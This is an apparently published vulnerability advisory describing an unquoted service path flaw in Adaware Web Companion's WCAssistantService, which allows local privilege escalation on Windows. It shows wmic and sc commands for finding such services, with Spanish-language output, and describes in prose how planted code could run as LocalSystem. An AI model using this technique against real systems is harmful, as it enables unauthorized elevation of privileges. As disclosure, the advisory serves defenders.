Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path

# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path
# Date: 2019-11-06
# Exploit Author: Mariela L Martínez Hdez
# Vendor Homepage: https://webcompanion.com/en/
# Software Link: https://webcompanion.com/en/
# Version: Adaware Web Companion version 4.8.2078.3950
# Tested on: Windows 10 Home (64 bits)

# 1. Description
# Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path.

# 2. PoC

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

WC Assistant        WCAssistantService        C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe     Auto

C:\>sc qc WCAssistantService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WCAssistantService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : WC Assistant
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

 

# 3. Exploit
# A successful attempt would require the local user to be able to insert their code in the system 
# root path undetected by the OS or othersecurity applications where it could potentially be executed 
# during application startup or reboot. If successful, the local user's code would execute with 
# the elevated privileges of the application.